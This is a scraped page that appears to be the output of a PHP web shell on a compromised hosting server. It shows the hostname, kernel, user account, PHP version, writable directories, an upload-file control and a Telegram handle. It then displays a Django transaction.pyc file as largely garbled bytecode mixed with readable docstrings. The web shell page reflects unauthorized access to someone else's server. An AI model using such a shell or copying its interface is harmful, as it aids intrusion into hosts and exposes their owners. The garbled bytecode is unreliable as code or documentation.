https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /lib64/python2.7/site-packages/django/db/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib64/python2.7/site-packages/django/db/transaction.pyc
�
r�\c@sdZddlZddlmZddlmZmZmZmZm	Z	ddl
mZde	fd��YZdd�Zdd	�Zeded
�Zdd�Zdd�Zdd
�Zdd�Zdd�Zedd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Z dd�Z!dd�Z"dd�Z#dd�Z$de%fd��YZ&ded�Z'd �Z(dd!�Z)d"e%fd#��YZ*d$�Z+dd%�Z,dd&�Z-dd'�Z.ded(�Z/dS()s+
This module implements a transaction manager that can be used to define
transaction handling in a request or view function. It is used by transaction
control middleware and decorators.

The transaction manager can be in managed or in auto state. Auto state means the
system is using a commit-on-save strategy (actually it's more like
commit-on-change). As soon as the .save() or .delete() (or related) methods are
called, a commit is made.

Managed transactions don't do those commits, but will need some kind of manual
or implicit commits or rollbacks.
i����N(twraps(tconnectionstDEFAULT_DB_ALIASt
DatabaseErrortErrortProgrammingError(tavailable_attrstTransactionManagementErrorcBseZdZRS(sR
    This exception is thrown when transaction management is used improperly.
    (t__name__t
__module__t__doc__(((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyRscCs|dkrt}nt|S(sk
    Get a database connection by name, or the default database connection
    if no name is provided.
    N(tNoneRR(tusing((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pytget_connection#s	cCst|�j�dS(sz
    Roll back any ongoing transactions and clean the transaction management
    state of the connection.

    This method is to be used only in cases where using balanced
    leave_transaction_management() calls isn't possible. For example after a
    request has finished, the transaction state isn't known, yet the connection
    must be cleaned up for the next request.
    N(R
tabort(R((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyR0s
cCst|�j||�dS(s�
    Enters transaction management for a running thread. It must be balanced with
    the appropriate leave_transaction_management call, since the actual state is
    managed as a stack.

    The state and dirty flag are carried over from the surrounding block or
    from the settings, if there is no surrounding block (dirty is always false
    when no current block is running).
    N(R
tenter_transaction_management(tmanagedRtforced((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyR<s
cCst|�j�dS(s�
    Leaves transaction management for a running thread. A dirty flag is carried
    over to the surrounding block, as a commit will commit all changes, even
    those from outside. (Commits are on connection level.)
    N(R
tleave_transaction_management(R((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyRHscCst|�j�S(s^
    Returns True if the current transaction requires a commit for changes to
    happen.
    (R
tis_dirty(R((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyRPscCst|�j�dS(s�
    Sets a dirty flag for the current thread and code streak. This can be used
    to decide in a managed block of code to decide whether there are open
    changes waiting for commit.
    N(R
t	set_dirty(R((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyRWscCst|�j�dS(s�
    Resets a dirty flag for the current thread and code streak. This can be used
    to decide in a managed block of code to decide whether a commit or rollback
    should happen.
    N(R
t	set_clean(R((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyR_scCstjdtdd�dS(Ns'is_managed' is deprecated.t
stackleveli(twarningstwarntPendingDeprecationWarning(R((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyt
is_managedgs	cCstjdtdd�dS(Ns%'managed' no longer serves a purpose.Ri(RRR(tflagR((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyRks	cCstjdtdd�dS(Ns''commit_unless_managed' is now a no-op.Ri(RRR(R((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pytcommit_unless_managedos	cCstjdtdd�dS(Ns)'rollback_unless_managed' is now a no-op.Ri(RRR(R((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pytrollback_unless_managedss	cCst|�j�S(s6
    Get the autocommit status of the connection.
    (R
tget_autocommit(R((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyR{scCst|�j|�S(s6
    Set the autocommit status of the connection.
    (R
tset_autocommit(t
autocommitR((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyR�scCst|�j�dS(s:
    Commits a transaction and resets the dirty flag.
    N(R
tcommit(R((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyR!�scCst|�j�dS(s=
    Rolls back a transaction and resets the dirty flag.
    N(R
trollback(R((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyR"�scCst|�j�S(s�
    Creates a savepoint (if supported and required by the backend) inside the
    current transaction. Returns an identifier for the savepoint that will be
    used for the subsequent rollback or commit.
    (R
t	savepoint(R((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyR#�scCst|�j|�dS(sq
    Rolls back the most recent savepoint (if one exists). Does nothing if
    savepoints are not supported.
    N(R
tsavepoint_rollback(tsidR((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyR$�scCst|�j|�dS(sn
    Commits the most recent savepoint (if one exists). Does nothing if
    savepoints are not supported.
    N(R
tsavepoint_commit(R%R((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyR&�scCst|�j�dS(sR
    Resets the counter used to generate unique savepoint ids in this thread.
    N(R
tclean_savepoints(R((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyR'�scCst|�j�S(sD
    Gets the "needs rollback" flag -- for *advanced use* only.
    (R
tget_rollback(R((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyR(�scCst|�j|�S(s�
    Sets or unsets the "needs rollback" flag -- for *advanced use* only.

    When `rollback` is `True`, it triggers a rollback when exiting the
    innermost enclosing atomic block that has `savepoint=True` (that's the
    default). Use this to force a rollback without raising an exception.

    When `rollback` is `False`, it prevents such a rollback. Use this only
    after rolling back to a known-good state! Otherwise, you break the atomic
    block and data corruption may occur.
    (R
tset_rollback(R"R((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyR)�stAtomiccBs2eZdZd�Zd�Zd�Zd�ZRS(ss
    This class guarantees the atomic execution of a given block.

    An instance can be used either as a decorator or as a context manager.

    When it's used as a decorator, __call__ wraps the execution of the
    decorated function in the instance itself, used as a context manager.

    When it's used as a context manager, __enter__ creates a transaction or a
    savepoint, depending on whether a transaction is already in progress, and
    __exit__ commits the transaction or releases the savepoint on normal exit,
    and rolls back the transaction or to the savepoint on exceptions.

    It's possible to disable the creation of savepoints if the goal is to
    ensure that some code runs within a transaction without creating overhead.

    A stack of savepoints identifiers is maintained as an attribute of the
    connection. None denotes the absence of a savepoint.

    This allows reentrancy even if the same AtomicWrapper is reused. For
    example, it's possible to define `oa = @atomic('other')` and use `@oa` or
    `with oa:` multiple times.

    Since database connections are thread-local, this is thread-safe.
    cCs||_||_dS(N(RR#(tselfRR#((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyt__init__�s	cCst|j�}|js�t|_t|_|j�s�|jj	rQt
d��n|jsit
d��nt|_t|_q�n|jr�|jr�|jr�|j�}|jj
|�q|jj
d�n8|jj	r�|j�t|_n
|jt�t|_dS(NsgYour database backend doesn't behave properly when autocommit is off. Turn it on before using 'atomic'.sQThe outermost 'atomic' block cannot use savepoint = False when autocommit is off.(R
Rtin_atomic_blocktTruetcommit_on_exittFalsetneeds_rollbackRtfeaturest"autocommits_when_autocommit_is_offRR#t
savepoint_idstappendRt#_start_transaction_under_autocommitR R(R+t
connectionR%((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyt	__enter__�s.						

cCs(t|j�}|jr*|jj�}n	t|_zr|jrBnb|dkr|jr|jr�|dk	ry|j	|�Wq�t
k
r�y|j|�Wntk
r�t
|_nX�q�Xqq�y|j�Wq�t
k
ry|j�Wntk
r|j�nX�q�Xn�t|_|jrx|dkrGt
|_q�y|j|�Wq�tk
rtt
|_q�Xn,y|j�Wntk
r�|j�nXWd|js�|jr�d|_q#|jjr�t
|_q#|jt
�n5|jr#|jr#|jrd|_q#t|_nXdS(N(R
RR4tpopR0R-tclosed_in_transactionRR1R&RR$RR.R!R"tcloseR7R2R3R RR/(R+texc_typet	exc_valuet	tracebackR7R%((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyt__exit__s`				






		

			cs.t�dt�����fd��}|S(Ntassignedcs���||�SWdQXdS(N((targstkwargs(tfuncR+(s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pytinnerps(RR(R+RCRD((RCR+s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyt__call__os*(RR	R
R,R8R?RE(((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyR*�s
		5	TcCs0t|�rtt|�|�St||�SdS(N(tcallableR*R(RR#((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pytatomicwscCs>y|jj|�Wn#tk
r9t|g�|_nX|S(N(t_non_atomic_requeststaddtAttributeErrortset(tviewR((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyRH�s

cs?t��rt�t�S�dkr.t�n�fd�SdS(Ncs
t|��S(N(RH(RL(R(s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyt<lambda>�s(RFRHRR(R((Rs7/tmp/pip-install-XxeQeY/django/django/db/transaction.pytnon_atomic_requests�s

	tTransactioncBs2eZdZd�Zd�Zd�Zd�ZRS(s�
    Acts as either a decorator, or a context manager.  If it's a decorator it
    takes a function and returns a wrapped function.  If it's a contextmanager
    it's used with the ``with`` statement.  In either event entering/exiting
    are called before and after, respectively, the function/block is executed.

    autocommit, commit_on_success, and commit_manually contain the
    implementations of entering and exiting.
    cCs||_||_||_dS(N(tenteringtexitingR(R+RPRQR((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyR,�s		cCs|j|j�dS(N(RPR(R+((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyR8�scCs|j||j�dS(N(RQR(R+R<R=R>((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyR?�scs"t����fd��}|S(Ncs���||�SWdQXdS(N((RARB(RCR+(s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyRD�s(R(R+RCRD((RCR+s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyRE�s(RR	R
R,R8R?RE(((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyRO�s
				cCsG|dkrt}nt|�r7t||t�|�St|||�S(s�
    Takes 3 things, an entering function (what to do to start this block of
    transaction management), an exiting function (what to do to end it, on both
    success and failure, and using which can be: None, indiciating using is
    DEFAULT_DB_ALIAS, a callable, indicating that using is DEFAULT_DB_ALIAS and
    to return the function already wrapped.

    Returns either a Transaction objects, which is both a decorator and a
    context manager, or a wrapped function, if using is a callable.
    N(RRRFRO(RPRQR((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyt_transaction_func�s
	cCs8tjdtdd�d�}d�}t|||�S(s�
    Decorator that activates commit on save. This is Django's default behavior;
    this decorator is useful if you globally activated transaction management in
    your settings file and want the default behavior in some view functions.
    s4autocommit is deprecated in favor of set_autocommit.RicSstdtd|�dS(NRR(RR0(R((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyRP�scSstd|�dS(NR(R(R<R((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyRQ�s(RRRRR(RRPRQ((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyR �s
	
		cCs8tjdtdd�d�}d�}t|||�S(s
    This decorator activates commit on response. This way, if the view function
    runs successfully, a commit is made; if the viewfunc produces an exception,
    a rollback is made. This is one of the most common ways to do transaction
    control in Web apps.
    s3commit_on_success is deprecated in favor of atomic.RicSstd|�dS(NR(R(R((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyRP�scSs�zo|dk	r1td|�rntd|�qnn=td|�rnytd|�Wqntd|��qnXnWdtd|�XdS(NR(RRR"R!R(R<R((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyRQ�s
(RRRRR(RRPRQ((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pytcommit_on_success�s
	
		cCs8tjdtdd�d�}d�}t|||�S(s�
    Decorator that activates manual transaction control. It just disables
    automatic transaction control and doesn't do any commit/rollback of its
    own -- it's up to the user to call the commit and rollback functions
    themselves.
    s9commit_manually is deprecated in favor of set_autocommit.RicSstd|�dS(NR(R(R((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyRPscSstd|�dS(NR(R(R<R((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyRQs(RRRRR(RRPRQ((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pytcommit_manually�s
	
		cCsTt|�}|j�s!|jr.t||�Sd�}d�}t|||�SdS(s�
    Transitory API to preserve backwards-compatibility while refactoring.

    Once the legacy transaction management is fully deprecated, this should
    simply be replaced by atomic. Until then, it's necessary to guarantee that
    a commit occurs on exit, which atomic doesn't do when it's nested.

    Unlike atomic, savepoint defaults to False because that's closer to the
    legacy behavior.
    cSsdS(N((R((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyRPscSstd|�dS(NR(R(R<R((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyRQsN(R
RR-RGRR(RR#R7RPRQ((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyt commit_on_success_unless_manageds
		(0R
Rt	functoolsRt	django.dbRRRRRtdjango.utils.decoratorsRRRR
RR.R0RRRRRRRRRRRR!R"R#R$R&R'R(R)tobjectR*RGRHRNRORRR RSRTRU(((s7/tmp/pip-install-XxeQeY/django/django/db/transaction.pyt<module>
sH(

�
	
	

https://t.me/AnonymousX5 - 2025